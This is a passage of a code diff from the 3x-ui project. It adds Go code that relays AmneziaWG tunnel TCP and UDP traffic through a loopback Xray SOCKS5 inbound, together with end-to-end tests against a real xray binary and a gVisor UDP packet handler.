+// sendTo wraps payload in a SOCKS5 UDP request header addressed to dest and
+// sends it to the session's relay endpoint.
+func (s *socks5UDPSession) sendTo(dest netip.AddrPort, payload []byte) error {
+	hdr := make([]byte, 0, 3+1+16+2+len(payload))
+	hdr = append(hdr, 0x00, 0x00, 0x00) // RSV RSV FRAG(=0, no fragmentation)
+	if dest.Addr().Is4() {
+		b := dest.Addr().As4()
+		hdr = append(hdr, 0x01)
+		hdr = append(hdr, b[:]...)
+	} else {
+		b := dest.Addr().As16()
+		hdr = append(hdr, 0x04)
+		hdr = append(hdr, b[:]...)
+	}
+	var portBytes [2]byte
+	binary.BigEndian.PutUint16(portBytes[:], dest.Port())
+	hdr = append(hdr, portBytes[:]...)
+	hdr = append(hdr, payload...)
+	_, err := s.udpConn.Write(hdr)
+	return err
+}
+
+// receive reads one reply datagram into buf, returning the address the
+// SOCKS5 server says it came from and the actual payload (a sub-slice of
+// buf -- valid only until the next receive call).
+func (s *socks5UDPSession) receive(buf []byte) (netip.AddrPort, []byte, error) {
+	n, err := s.udpConn.Read(buf)
+	if err != nil {
+		return netip.AddrPort{}, nil, err
+	}
+	data := buf[:n]
+	if len(data) < 4 {
+		return netip.AddrPort{}, nil, fmt.Errorf("amneziawgnet: short SOCKS5 UDP reply (%d bytes)", n)
+	}
+	atyp := data[3]
+	data = data[4:]
+	addr, err := readSocks5Addr(bytesReader{data}, atyp)
+	if err != nil {
+		return netip.AddrPort{}, nil, err
+	}
+	switch atyp {
+	case 0x01:
+		data = data[4:]
+	case 0x04:
+		data = data[16:]
+	}
+	if len(data) < 2 {
+		return netip.AddrPort{}, nil, fmt.Errorf("amneziawgnet: truncated SOCKS5 UDP reply port")
+	}
+	port := binary.BigEndian.Uint16(data[:2])
+	return netip.AddrPortFrom(addr, port), data[2:], nil
+}
+
+// bytesReader is the minimal io.Reader readSocks5Addr needs, over an
+// in-memory slice that's already fully available (a received UDP
+// datagram) -- avoids pulling in bytes.Reader just for this.
+type bytesReader struct{ b []byte }
+
+func (r bytesReader) Read(p []byte) (int, error) {
+	n := copy(p, r.b)
+	if n < len(p) {
+		return n, io.ErrUnexpectedEOF
+	}
+	return n, nil
+}
+
+// UDPRelay tracks one SOCKS5 UDP ASSOCIATE session per source (tunnel-
+// internal client) flow, relaying each into r's SOCKS5 inbound and writing
+// replies back through gstack -- the UDP counterpart of RelayTCP, meant to
+// be driven by an AttachUDPHandler callback (see udp.go).
+type UDPRelay struct {
+	relay  SocksRelay
+	gstack *stack.Stack
+
+	mu       sync.Mutex
+	sessions map[string]*socks5UDPSession
+}
+
+// NewUDPRelay creates a UDPRelay for one embedded AmneziaWG Device's stack.
+func NewUDPRelay(relay SocksRelay, gstack *stack.Stack) *UDPRelay {
+	return &UDPRelay{relay: relay, gstack: gstack, sessions: map[string]*socks5UDPSession{}}
+}
+
+// Handle relays one packet from src (the peer's tunnel-internal source) to
+// dst (its real, recovered destination), opening a fresh SOCKS5 UDP
+// ASSOCIATE session for src the first time it's seen (authenticating as
+// email, so Xray attributes the whole flow's stats to the right peer) and
+// reusing it for subsequent packets from the same src.
+func (u *UDPRelay) Handle(src, dst netip.AddrPort, email string, payload []byte) {
+	u.mu.Lock()
+	sess, ok := u.sessions[src.String()]
+	u.mu.Unlock()
+
+	if !ok {
+		var err error
+		sess, err = newSocks5UDPSession(u.relay.Addr, email, u.relay.Password)
+		if err != nil {
+			logger.Warningf("amneziawgnet: UDPRelay: SOCKS5 associate for %q: %v", email, err)
+			return
+		}
+		u.mu.Lock()
+		u.sessions[src.String()] = sess
+		u.mu.Unlock()
+		go u.pump(src, sess)
+	}
+	if err := sess.sendTo(dst, payload); err != nil {
+		logger.Warningf("amneziawgnet: UDPRelay: send to %s: %v", dst, err)
+	}
+}
+
+// pump reads replies from sess and writes them back into the tunnel toward
+// src until the session errors out or goes idle for 2 minutes, then tears
+// it down -- both the map entry and the underlying SOCKS5 association.
+func (u *UDPRelay) pump(src netip.AddrPort, sess *socks5UDPSession) {
+	defer func() {
+		u.mu.Lock()
+		delete(u.sessions, src.String())
+		u.mu.Unlock()
+		sess.Close()
+	}()
+	buf := make([]byte, 65536)
+	for {
+		_ = sess.udpConn.SetReadDeadline(time.Now().Add(2 * time.Minute))
+		from, payload, err := sess.receive(buf)
+		if err != nil {
+			return
+		}
+		if err := WriteUDPReply(u.gstack, from, src, payload); err != nil {
+			logger.Warningf("amneziawgnet: UDPRelay: reply write: %v", err)
+		}
+	}
+}
+
+// Close tears down every open session. Call when the owning Device is
+// closed.
+func (u *UDPRelay) Close() {
+	u.mu.Lock()
+	defer u.mu.Unlock()
+	for k, s := range u.sessions {
+		s.Close()
+		delete(u.sessions, k)
+	}
+}

+ 617 - 0
internal/amneziawgnet/relay_e2e_test.go

@@ -0,0 +1,617 @@
+package amneziawgnet
+
+import (
+	"encoding/json"
+	"fmt"
+	"net"
+	"net/netip"
+	"os"
+	"os/exec"
+	"path/filepath"
+	"strings"
+	"sync"
+	"testing"
+	"time"
+
+	awgconn "github.com/amnezia-vpn/amneziawg-go/v3/conn"
+	"github.com/amnezia-vpn/amneziawg-go/v3/device"
+	"github.com/amnezia-vpn/amneziawg-go/v3/tun/netstack"
+	"gvisor.dev/gvisor/pkg/tcpip/adapters/gonet"
+
+	"github.com/mhsanaei/3x-ui/v3/internal/amneziawg"
+	"github.com/mhsanaei/3x-ui/v3/internal/util/wireguard"
+)
+
+// TestSocksRelayAgainstRealXray is Phase 2's real end-to-end proof: a
+// genuine amneziawg-go client completes a real handshake against a Device
+// built by NewDevice, dials a real TCP echo server and sends a real UDP
+// echo datagram, and this package's own AttachTCPForwarder/AttachUDPHandler
+// handlers relay both through RelayTCP/UDPRelay into an *actual xray-core
+// process* (not a mock) running a SOCKS5 inbound built by
+// SocksInboundSettings. Verifies real data round-trips on both protocols,
+// then greps the real process's own debug log for
+// "user>>>{email}>>>traffic>>>{up,down}link" -- the same proof Finding 3 of
+// the migration plan established manually in Phase 0, now permanent,
+// repo-owned test infrastructure. The UDP half in particular is the first
+// real test of this package's hand-rolled SOCKS5 UDP ASSOCIATE client
+// (relay.go) against an independent, authoritative implementation of the
+// protocol rather than a mock this same session wrote.
+//
+// Skipped unless XRAY_E2E_BINARY points at an xray executable built from
+// the same xray-core version as go.mod, matching internal/xray's own
+// TestXrayAPI_E2E convention:
+//
+//	go install github.com/xtls/xray-core/main@<version from go.mod>
+//	XRAY_E2E_BINARY=$GOBIN/main go test ./internal/amneziawgnet -run TestSocksRelayAgainstRealXray -v
+func TestSocksRelayAgainstRealXray(t *testing.T) {
+	bin := os.Getenv("XRAY_E2E_BINARY")
+	if bin == "" {
+		t.Skip("set XRAY_E2E_BINARY to an xray binary to run this test")
+	}
+
+	localIP, ok := firstNonLoopbackIPv4()
+	if !ok {
+		t.Skip("no non-loopback IPv4 address available on this host")
+	}
+
+	const wantEmail = "[email protected]"
+	const socksPassword = "loopback-only-not-a-real-secret"
+
+	// --- real TCP + UDP echo servers on a real, non-loopback address ---
+	// (dialing 127.0.0.1 as a tunnel-internal destination hangs -- gVisor
+	// won't route loopback out an arbitrary NIC -- so the client dials
+	// localIP instead; it must still be a *real* address since the actual
+	// relay leg is a genuine OS-level dial from the xray-core process, not
+	// anything inside the tunnel's virtual netstack.)
+	tcpEcho, tcpEchoAddr := startTCPEcho(t, localIP)
+	defer tcpEcho.Close()
+	udpEcho, udpEchoAddr := startUDPEcho(t, localIP)
+	defer udpEcho.Close()
+
+	// --- real embedded AmneziaWG server + client, same shape as Phase 1's tests ---
+	serverPriv, serverPub, err := wireguard.GenerateWireguardKeypair()
+	if err != nil {
+		t.Fatalf("generate server keypair: %v", err)
+	}
+	clientPriv, clientPub, err := wireguard.GenerateWireguardKeypair()
+	if err != nil {
+		t.Fatalf("generate client keypair: %v", err)
+	}
+
+	const listenPort = 58715
+	inst := amneziawg.Instance{
+		Id:            4,
+		InterfaceName: "awgtest4",
+		ListenPort:    listenPort,
+		PrivateKey:    serverPriv,
+		PublicKey:     serverPub,
+		Address:       []string{"10.204.0.1/24"},
+		MTU:           1420,
+		Obfuscation: amneziawg.Obfuscation31{
+			Jc: 4, Jmin: 40, Jmax: 70,
+			S1: 20, S2: 30, S3: 20, S4: 20,
+		},
+		Peers: []amneziawg.Peer{{
+			Email:      wantEmail,
+			PublicKey:  clientPub,
+			AllowedIPs: []string{"10.204.0.2/32"},
+		}},
+	}
+	dev, err := newUnconfiguredDevice(inst, DeviceOptions{})
+	if err != nil {
+		t.Fatalf("newUnconfiguredDevice: %v", err)
+	}
+	defer dev.Close()
+	idx := NewPeerIndex(inst.Peers)
+
+	// --- real xray-core process with a SOCKS5 inbound built by this package ---
+	socksPort := freePort(t)
+	settingsJSON, err := SocksInboundSettings([]string{wantEmail}, socksPassword)
+	if err != nil {
+		t.Fatalf("SocksInboundSettings: %v", err)
+	}
+	var rawSettings any
+	if err := json.Unmarshal(settingsJSON, &rawSettings); err != nil {
+		t.Fatalf("unmarshal generated SOCKS5 settings: %v", err)
+	}
+	xrayCfg := map[string]any{
+		"log": map[string]any{"loglevel": "debug"},
+		"inbounds": []any{
+			map[string]any{
+				"listen":   "127.0.0.1",
+				"port":     socksPort,
+				"protocol": "socks",
+				"settings": rawSettings,
+				"tag":      "awg-e2e-socks",
+			},
+		},
+		"outbounds": []any{
+			map[string]any{"protocol": "freedom", "settings": map[string]any{}, "tag": "direct"},
+		},
+		"policy": map[string]any{
+			"levels": map[string]any{
+				"0": map[string]any{"statsUserUplink": true, "statsUserDownlink": true},
+			},
+		},
+		"stats": map[string]any{},
+	}
+	cfgBytes, err := json.MarshalIndent(xrayCfg, "", "  ")
+	if err != nil {
+		t.Fatalf("marshal xray config: %v", err)
+	}
+	cfgPath := filepath.Join(t.TempDir(), "config.json")
+	if err := os.WriteFile(cfgPath, cfgBytes, 0o644); err != nil {
+		t.Fatalf("write xray config: %v", err)
+	}
+
+	var xrayLog syncBuffer
+	cmd := exec.Command(bin, "-c", cfgPath)
+	cmd.Stdout = &xrayLog
+	cmd.Stderr = &xrayLog
+	if err := cmd.Start(); err != nil {
+		t.Fatalf("start xray: %v", err)
+	}
+	defer func() {
+		_ = cmd.Process.Kill()
+		_, _ = cmd.Process.Wait()
+	}()
+	waitForPort(t, socksPort)
+
+	socksAddr := fmt.Sprintf("127.0.0.1:%d", socksPort)
+	relay := SocksRelay{Addr: socksAddr, Password: socksPassword}
+	udpRelay := NewUDPRelay(relay, dev.Stack)
+	defer udpRelay.Close()
+
+	AttachTCPForwarder(dev.Stack, func(conn *gonet.TCPConn, dest netip.AddrPort) {
+		srcAddrPort, err := netip.ParseAddrPort(conn.RemoteAddr().String())
+		if err != nil {
+			conn.Close()
+			return
+		}
+		peer, ok := idx.Lookup(srcAddrPort.Addr().Unmap())
+		if !ok {
+			conn.Close()
+			return
+		}
+		relay.RelayTCP(conn, peer.Email, dest)
+	})
+	AttachUDPHandler(dev.Stack, func(src, dst netip.AddrPort, payload []byte) {
+		peer, ok := idx.Lookup(src.Addr())
+		if !ok {
+			return
+		}
+		udpRelay.Handle(src, dst, peer.Email, payload)
+	})
+
+	// Configure (IpcSet) must come after both attaches -- see
+	// newUnconfiguredDevice's doc comment.
+	if err := dev.Configure(inst, DeviceOptions{}); err != nil {
+		t.Fatalf("Configure: %v", err)
+	}
+
+	// --- real client, real handshake, real traffic through the whole chain ---
+	clientTun, clientNet, err := netstack.CreateNetTUN(
+		[]netip.Addr{netip.MustParseAddr("10.204.0.2")},
+		[]netip.Addr{netip.MustParseAddr("1.1.1.1")}, 1420)
+	if err != nil {
+		t.Fatalf("client CreateNetTUN: %v", err)
+	}
+	clientDev := device.NewDevice(clientTun, awgconn.NewDefaultBind(), device.NewLogger(device.LogLevelSilent, ""))
+	defer clientDev.Close()
+
+	clientPrivHex, err := wireguard.KeyToHex(clientPriv)
+	if err != nil {
+		t.Fatalf("client key to hex: %v", err)
+	}
+	serverPubHex, err := wireguard.KeyToHex(serverPub)
+	if err != nil {
+		t.Fatalf("server key to hex: %v", err)
+	}
+	clientConf := fmt.Sprintf(
+		"private_key=%s\njc=4\njmin=40\njmax=70\ns1=20\ns2=30\ns3=20\ns4=20\npublic_key=%s\nendpoint=127.0.0.1:%d\nallowed_ip=0.0.0.0/0\n",
+		clientPrivHex, serverPubHex, listenPort)
+	if err := clientDev.IpcSet(clientConf); err != nil {
+		t.Fatalf("client IpcSet: %v", err)
+	}
+	if err := clientDev.Up(); err != nil {
+		t.Fatalf("client Up: %v", err)
+	}
+
+	// TCP round trip.
+	const tcpMsg = "hello over amneziawgnet+socks5+xray"
+	dialDeadline := time.Now().Add(10 * time.Second)
+	var tcpConn interface {
+		Write([]byte) (int, error)
+		Read([]byte) (int, error)
+		Close() error
+	}
+	for {
+		c, dialErr := clientNet.DialContext(t.Context(), "tcp", tcpEchoAddr.String())
+		if dialErr == nil {
+			tcpConn = c
+			break
+		}
+		if time.Now().After(dialDeadline) {
+			t.Fatalf("client TCP dial via tunnel never succeeded: %v", dialErr)
+		}
+		time.Sleep(150 * time.Millisecond)
+	}
+	defer tcpConn.Close()
+	if _, err := tcpConn.Write([]byte(tcpMsg)); err != nil {
+		t.Fatalf("client TCP write: %v", err)
+	}
+	tcpBuf := make([]byte, len(tcpMsg))
+	if _, err := readFull(tcpConn, tcpBuf, 10*time.Second); err != nil {
+		t.Fatalf("client TCP read: %v", err)
+	}
+	if string(tcpBuf) != tcpMsg {
+		t.Errorf("TCP echo = %q, want %q", tcpBuf, tcpMsg)
+	}
+
+	// UDP round trip.
+	const udpMsg = "hello-udp-over-socks5"
+	uconn, err := clientNet.DialUDPAddrPort(netip.AddrPort{}, udpEchoAddr)
+	if err != nil {
+		t.Fatalf("client DialUDPAddrPort: %v", err)
+	}
+	defer uconn.Close()
+	udpDeadline := time.Now().Add(10 * time.Second)
+	var udpBuf [256]byte
+	var gotUDP string
+	for time.Now().Before(udpDeadline) {
+		_ = uconn.SetWriteDeadline(time.Now().Add(300 * time.Millisecond))
+		if _, err := uconn.Write([]byte(udpMsg)); err != nil {
+			continue
+		}
+		_ = uconn.SetReadDeadline(time.Now().Add(300 * time.Millisecond))
+		n, err := uconn.Read(udpBuf[:])
+		if err == nil {
+			gotUDP = string(udpBuf[:n])
+			break
+		}
+	}
+	if gotUDP != udpMsg {
+		t.Fatalf("UDP echo = %q, want %q (xray log follows)\n%s", gotUDP, udpMsg, xrayLog.String())
+	}
+
+	// Real per-peer stats attribution: stop xray so its log is complete, then
+	// look for both directions' counters keyed by the peer's real email --
+	// the exact proof Finding 3 established manually in Phase 0.
+	_ = cmd.Process.Kill()
+	_, _ = cmd.Process.Wait()
+	log := xrayLog.String()
+	wantUp := fmt.Sprintf("user>>>%s>>>traffic>>>uplink", wantEmail)
+	wantDown := fmt.Sprintf("user>>>%s>>>traffic>>>downlink", wantEmail)
+	if !strings.Contains(log, wantUp) {
+		t.Errorf("xray log missing uplink stats counter %q\nfull log:\n%s", wantUp, log)
+	}
+	if !strings.Contains(log, wantDown) {
+		t.Errorf("xray log missing downlink stats counter %q\nfull log:\n%s", wantDown, log)
+	}
+}
+
+// TestManagerEnsureAutomaticallyWiresRelay is Phase 3's own real proof: unlike
+// TestSocksRelayAgainstRealXray above (which builds a Device and attaches
+// RelayTCP/UDPRelay by hand), this drives everything through the public
+// Manager.Ensure entry point the real app actually calls -- confirming
+// ensureLocked's own forwarder/UDP-handler attachment (added this phase)
+// really does relay a fresh Device's traffic into Xray with zero manual
+// wiring from the caller. Uses the exact port/password
+// (SOCKSPortForInbound/SocksPassword) the Manager computes internally, so
+// this only passes if that internal derivation and the externally-visible
+// contract genuinely agree.
+func TestManagerEnsureAutomaticallyWiresRelay(t *testing.T) {
+	bin := os.Getenv("XRAY_E2E_BINARY")
+	if bin == "" {
+		t.Skip("set XRAY_E2E_BINARY to an xray binary to run this test")
+	}
+	localIP, ok := firstNonLoopbackIPv4()
+	if !ok {
+		t.Skip("no non-loopback IPv4 address available on this host")
+	}
+
+	const wantEmail = "[email protected]"
+	const listenPort = 58716
+	const inboundID = 5
+
+	tcpEcho, tcpEchoAddr := startTCPEcho(t, localIP)
+	defer tcpEcho.Close()
+
+	serverPriv, serverPub, err := wireguard.GenerateWireguardKeypair()
+	if err != nil {
+		t.Fatalf("generate server keypair: %v", err)
+	}
+	clientPriv, clientPub, err := wireguard.GenerateWireguardKeypair()
+	if err != nil {
+		t.Fatalf("generate client keypair: %v", err)
+	}
+
+	inst := amneziawg.Instance{
+		Id:            inboundID,
+		InterfaceName: "awgtest5",
+		ListenPort:    listenPort,
+		PrivateKey:    serverPriv,
+		PublicKey:     serverPub,
+		Address:       []string{"10.205.0.1/24"},
+		MTU:           1420,
+		Obfuscation: amneziawg.Obfuscation31{
+			Jc: 4, Jmin: 40, Jmax: 70,
+			S1: 20, S2: 30, S3: 20, S4: 20,
+		},
+		Peers: []amneziawg.Peer{{
+			Email:      wantEmail,
+			PublicKey:  clientPub,
+			AllowedIPs: []string{"10.205.0.2/32"},
+		}},
+	}
+
+	// A real xray-core process with a SOCKS5 inbound at exactly the port and
+	// password ensureLocked will derive on its own for this instance --
+	// SocksPassword() is cached (sync.Once), so calling it here first and
+	// again inside Manager.Ensure below returns the identical value.
+	socksPort := SOCKSPortForInbound(inboundID)
+	password := SocksPassword()
+	settingsJSON, err := SocksInboundSettings([]string{wantEmail}, password)
+	if err != nil {
+		t.Fatalf("SocksInboundSettings: %v", err)
+	}
+	var rawSettings any
+	if err := json.Unmarshal(settingsJSON, &rawSettings); err != nil {
+		t.Fatalf("unmarshal generated SOCKS5 settings: %v", err)
+	}
+	xrayCfg := map[string]any{
+		"log": map[string]any{"loglevel": "debug"},
+		"inbounds": []any{
+			map[string]any{
+				"listen":   "127.0.0.1",
+				"port":     socksPort,
+				"protocol": "socks",
+				"settings": rawSettings,
+				"tag":      "awg-e2e-manager",
+			},
+		},
+		"outbounds": []any{
+			map[string]any{"protocol": "freedom", "settings": map[string]any{}, "tag": "direct"},
+		},
+		"policy": map[string]any{
+			"levels": map[string]any{
+				"0": map[string]any{"statsUserUplink": true, "statsUserDownlink": true},
+			},
+		},
+		"stats": map[string]any{},
+	}
+	cfgBytes, err := json.MarshalIndent(xrayCfg, "", "  ")
+	if err != nil {
+		t.Fatalf("marshal xray config: %v", err)
+	}
+	cfgPath := filepath.Join(t.TempDir(), "config.json")
+	if err := os.WriteFile(cfgPath, cfgBytes, 0o644); err != nil {
+		t.Fatalf("write xray config: %v", err)
+	}
+
+	var xrayLog syncBuffer
+	cmd := exec.Command(bin, "-c", cfgPath)
+	cmd.Stdout = &xrayLog
+	cmd.Stderr = &xrayLog
+	if err := cmd.Start(); err != nil {
+		t.Fatalf("start xray: %v", err)
+	}
+	defer func() {
+		_ = cmd.Process.Kill()
+		_, _ = cmd.Process.Wait()
+	}()
+	waitForPort(t, socksPort)
+
+	// A throwaway Manager, not the process-wide singleton, so this test
+	// doesn't interact with any other test's state.
+	m := &Manager{ifaces: map[int]*managed{}}
+	defer m.StopAll()
+	if err := m.Ensure(Desired{Instance: inst}); err != nil {
+		t.Fatalf("Manager.Ensure: %v", err)
+	}
+	dev, _, ok := m.Lookup(inboundID)
+	if !ok {
+		t.Fatal("Lookup after Ensure: not found")
+	}
+	defer dev.Close() // StopAll would also do this; explicit for clarity
+
+	clientTun, clientNet, err := netstack.CreateNetTUN(
+		[]netip.Addr{netip.MustParseAddr("10.205.0.2")},
+		[]netip.Addr{netip.MustParseAddr("1.1.1.1")}, 1420)
+	if err != nil {
+		t.Fatalf("client CreateNetTUN: %v", err)
+	}
+	clientDev := device.NewDevice(clientTun, awgconn.NewDefaultBind(), device.NewLogger(device.LogLevelSilent, ""))
+	defer clientDev.Close()
+
+	clientPrivHex, err := wireguard.KeyToHex(clientPriv)
+	if err != nil {
+		t.Fatalf("client key to hex: %v", err)
+	}
+	serverPubHex, err := wireguard.KeyToHex(serverPub)
+	if err != nil {
+		t.Fatalf("server key to hex: %v", err)
+	}
+	clientConf := fmt.Sprintf(
+		"private_key=%s\njc=4\njmin=40\njmax=70\ns1=20\ns2=30\ns3=20\ns4=20\npublic_key=%s\nendpoint=127.0.0.1:%d\nallowed_ip=0.0.0.0/0\n",
+		clientPrivHex, serverPubHex, listenPort)
+	if err := clientDev.IpcSet(clientConf); err != nil {
+		t.Fatalf("client IpcSet: %v", err)
+	}
+	if err := clientDev.Up(); err != nil {
+		t.Fatalf("client Up: %v", err)
+	}
+
+	const tcpMsg = "hello via Manager.Ensure's automatic relay wiring"
+	dialDeadline := time.Now().Add(10 * time.Second)
+	var conn net.Conn
+	for {
+		c, dialErr := clientNet.DialContext(t.Context(), "tcp", tcpEchoAddr.String())
+		if dialErr == nil {
+			conn = c
+			break
+		}
+		if time.Now().After(dialDeadline) {
+			t.Fatalf("client TCP dial via tunnel never succeeded: %v", dialErr)
+		}
+		time.Sleep(150 * time.Millisecond)
+	}
+	defer conn.Close()
+	if _, err := conn.Write([]byte(tcpMsg)); err != nil {
+		t.Fatalf("client TCP write: %v", err)
+	}
+	buf := make([]byte, len(tcpMsg))
+	if _, err := readFull(conn, buf, 10*time.Second); err != nil {
+		t.Fatalf("client TCP read: %v", err)
+	}
+	if string(buf) != tcpMsg {
+		t.Errorf("TCP echo = %q, want %q", buf, tcpMsg)
+	}
+
+	_ = cmd.Process.Kill()
+	_, _ = cmd.Process.Wait()
+	log := xrayLog.String()
+	wantUp := fmt.Sprintf("user>>>%s>>>traffic>>>uplink", wantEmail)
+	if !strings.Contains(log, wantUp) {
+		t.Errorf("xray log missing uplink stats counter %q (Manager.Ensure's automatic relay wiring may not be attributing traffic correctly)\nfull log:\n%s", wantUp, log)
+	}
+}
+
+// firstNonLoopbackIPv4 finds a real, locally-bound IPv4 address suitable as
+// a relay-reachable test destination.
+func firstNonLoopbackIPv4() (netip.Addr, bool) {
+	addrs, err := net.InterfaceAddrs()
+	if err != nil {
+		return netip.Addr{}, false
+	}
+	for _, a := range addrs {
+		ipNet, ok := a.(*net.IPNet)
+		if !ok || ipNet.IP.IsLoopback() {
+			continue
+		}
+		if v4 := ipNet.IP.To4(); v4 != nil {
+			addr, ok := netip.AddrFromSlice(v4)
+			if ok {
+				return addr, true
+			}
+		}
+	}
+	return netip.Addr{}, false
+}
+
+func startTCPEcho(t *testing.T, addr netip.Addr) (io interface{ Close() error }, ap netip.AddrPort) {
+	t.Helper()
+	ln, err := net.Listen("tcp", net.JoinHostPort(addr.String(), "0"))
+	if err != nil {
+		t.Fatalf("start TCP echo listener: %v", err)
+	}
+	go func() {
+		for {
+			c, err := ln.Accept()
+			if err != nil {
+				return
+			}
+			go func() {
+				defer c.Close()
+				buf := make([]byte, 4096)
+				for {
+					n, err := c.Read(buf)
+					if n > 0 {
+						if _, werr := c.Write(buf[:n]); werr != nil {
+							return
+						}
+					}
+					if err != nil {
+						return
+					}
+				}
+			}()
+		}
+	}()
+	port := ln.Addr().(*net.TCPAddr).Port
+	return ln, netip.AddrPortFrom(addr, uint16(port))
+}
+
+func startUDPEcho(t *testing.T, addr netip.Addr) (io interface{ Close() error }, ap netip.AddrPort) {
+	t.Helper()
+	pc, err := net.ListenPacket("udp", net.JoinHostPort(addr.String(), "0"))
+	if err != nil {
+		t.Fatalf("start UDP echo listener: %v", err)
+	}
+	go func() {
+		buf := make([]byte, 4096)
+		for {
+			n, raddr, err := pc.ReadFrom(buf)
+			if err != nil {
+				return
+			}
+			if _, err := pc.WriteTo(buf[:n], raddr); err != nil {
+				return
+			}
+		}
+	}()
+	port := pc.LocalAddr().(*net.UDPAddr).Port
+	return pc, netip.AddrPortFrom(addr, uint16(port))
+}
+
+// readFull reads exactly len(buf) bytes or fails after timeout, since
+// gonet.TCPConn (and net.Conn generally) may return short reads.
+func readFull(r interface{ Read([]byte) (int, error) }, buf []byte, timeout time.Duration) (int, error) {
+	deadline := time.Now().Add(timeout)
+	total := 0
+	for total < len(buf) {
+		if time.Now().After(deadline) {
+			return total, fmt.Errorf("timed out after reading %d/%d bytes", total, len(buf))
+		}
+		n, err := r.Read(buf[total:])
+		total += n
+		if err != nil {
+			return total, err
+		}
+	}
+	return total, nil
+}
+
+// syncBuffer is a concurrency-safe bytes buffer for capturing a subprocess's
+// combined stdout/stderr while the test may read it from another goroutine.
+type syncBuffer struct {
+	mu  sync.Mutex
+	buf strings.Builder
+}
+
+func (s *syncBuffer) Write(p []byte) (int, error) {
+	s.mu.Lock()
+	defer s.mu.Unlock()
+	return s.buf.Write(p)
+}
+
+func (s *syncBuffer) String() string {
+	s.mu.Lock()
+	defer s.mu.Unlock()
+	return s.buf.String()
+}
+
+func freePort(t *testing.T) int {
+	t.Helper()
+	l, err := net.Listen("tcp", "127.0.0.1:0")
+	if err != nil {
+		t.Fatal(err)
+	}
+	defer l.Close()
+	return l.Addr().(*net.TCPAddr).Port
+}
+
+func waitForPort(t *testing.T, port int) {
+	t.Helper()
+	deadline := time.Now().Add(15 * time.Second)
+	addr := fmt.Sprintf("127.0.0.1:%d", port)
+	for time.Now().Before(deadline) {
+		conn, err := net.DialTimeout("tcp", addr, time.Second)
+		if err == nil {
+			conn.Close()
+			return
+		}
+		time.Sleep(200 * time.Millisecond)
+	}
+	t.Fatalf("xray port %d did not open in time", port)
+}

+ 49 - 0
internal/amneziawgnet/socks_config.go

@@ -0,0 +1,49 @@
+package amneziawgnet
+
+import (
+	"crypto/rand"
+	"encoding/base64"
+	"fmt"
+	"sync"
+)
+
+// SOCKSBasePort is the first loopback port used for an AmneziaWG inbound's
+// own Xray SOCKS5 relay inbound (see relay.go/SocksInboundSettings).
+const SOCKSBasePort = 65100
+
+// SOCKSPortForInbound derives one inbound's loopback SOCKS5 relay port from
+// its id, so config generation and the dialing relay never need to negotiate.
+func SOCKSPortForInbound(inboundID int) int {
+	return SOCKSBasePort + inboundID
+}
+
+var (
+	socksPasswordOnce sync.Once
+	socksPassword     string
+)
+
+// SocksPassword returns the process-wide password used to authenticate into
+// every AmneziaWG SOCKS5 relay inbound, generating and caching it once
+// (lazily, on first use) rather than persisting it anywhere: this traffic
+// never leaves loopback, both the config generator (SocksInboundSettings'
+// caller) and the relay dialer (SocksRelay/UDPRelay) live in this same
+// process, and Xray's own generated config is already rebuilt from scratch
+// on every reconcile -- there is nothing for a stored value to survive
+// across that a fresh one wouldn't equally satisfy. Not a real secret (see
+// SocksRelay's own doc comment); this only needs to be unpredictable enough
+// that nothing outside this process could plausibly guess it and dial in
+// over loopback.
+func SocksPassword() string {
+	socksPasswordOnce.Do(func() {
+		var b [24]byte
+		if _, err := rand.Read(b[:]); err != nil {
+			// crypto/rand failing is effectively unrecoverable for a
+			// process that generates real WireGuard keys elsewhere too;
+			// a fixed fallback keeps this from panicking outright.
+			socksPassword = fmt.Sprintf("amneziawgnet-fallback-%x", b)
+			return
+		}
+		socksPassword = base64.RawURLEncoding.EncodeToString(b[:])
+	})
+	return socksPassword
+}

+ 100 - 0
internal/amneziawgnet/udp.go

@@ -0,0 +1,100 @@
+package amneziawgnet
+
+import (
+	"fmt"
+	"net/netip"
+
+	"gvisor.dev/gvisor/pkg/buffer"
+	"gvisor.dev/gvisor/pkg/tcpip"
+	"gvisor.dev/gvisor/pkg/tcpip/checksum"
+	"gvisor.dev/gvisor/pkg/tcpip/header"
+	"gvisor.dev/gvisor/pkg/tcpip/stack"
+	"gvisor.dev/gvisor/pkg/tcpip/transport/udp"
+)
+
+// UDPHandler is called for every UDP packet a tunnel client sends, with its
+// source (the peer's tunnel-internal address) and its real,
+// dynamically-arbitrary destination -- recovered the same way the TCP
+// forwarder recovers its destination, from the packet's own transport
+// endpoint ID, never from a preconfigured table. The handler owns all flow
+// tracking and reply delivery (via WriteUDPReply): gVisor has no
+// udp.NewForwarder the way it does for TCP, so unlike AttachTCPForwarder
+// this can't just hand back a ready net.Conn.
+type UDPHandler func(src, dst netip.AddrPort, payload []byte)
+
+// AttachUDPHandler attaches a raw UDP handler to gstack, independently
+// enabling the same promiscuous+spoofing mode AttachTCPForwarder needs --
+// safe and idempotent to call regardless of whether AttachTCPForwarder was
+// attached to the same stack first, or at all. Adapted from xtls/xray-core's
+// proxy/wireguard/tun.go UDP path (MIT), which hand-tracks flows for the
+// identical reason: gVisor doesn't provide a UDP forwarder.
+func AttachUDPHandler(gstack *stack.Stack, handler UDPHandler) {
+	enablePromiscuousRouting(gstack)
+
+	gstack.SetTransportProtocolHandler(udp.ProtocolNumber, func(id stack.TransportEndpointID, pkt *stack.PacketBuffer) bool {
+		data := pkt.Clone().Data().AsRange().ToSlice()
+		src := netip.AddrPortFrom(addrFromTcpip(id.RemoteAddress), id.RemotePort)
+		dst := netip.AddrPortFrom(addrFromTcpip(id.LocalAddress), id.LocalPort)
+		handler(src, dst, data)
+		return true
+	})
+}
+
+// WriteUDPReply injects a UDP packet into gstack as if it arrived from
+// `from` addressed to `to` -- i.e. a reply travelling back into the tunnel
+// toward the client -- constructed by hand since gVisor exposes no
+// connected-socket-style Write for an address the stack doesn't itself own.
+func WriteUDPReply(gstack *stack.Stack, from, to netip.AddrPort, payload []byte) error {
+	udpLen := header.UDPMinimumSize + len(payload)
+	srcIP := tcpip.AddrFromSlice(from.Addr().AsSlice())
+	dstIP := tcpip.AddrFromSlice(to.Addr().AsSlice())
+
+	isIPv4 := from.Addr().Is4()
+	ipHdrSize := header.IPv6MinimumSize
+	ipProtocol := header.IPv6ProtocolNumber
+	if isIPv4 {
+		ipHdrSize = header.IPv4MinimumSize
+		ipProtocol = header.IPv4ProtocolNumber
+	}
+
+	pkt := stack.NewPacketBuffer(stack.PacketBufferOptions{
+		ReserveHeaderBytes: ipHdrSize + header.UDPMinimumSize,
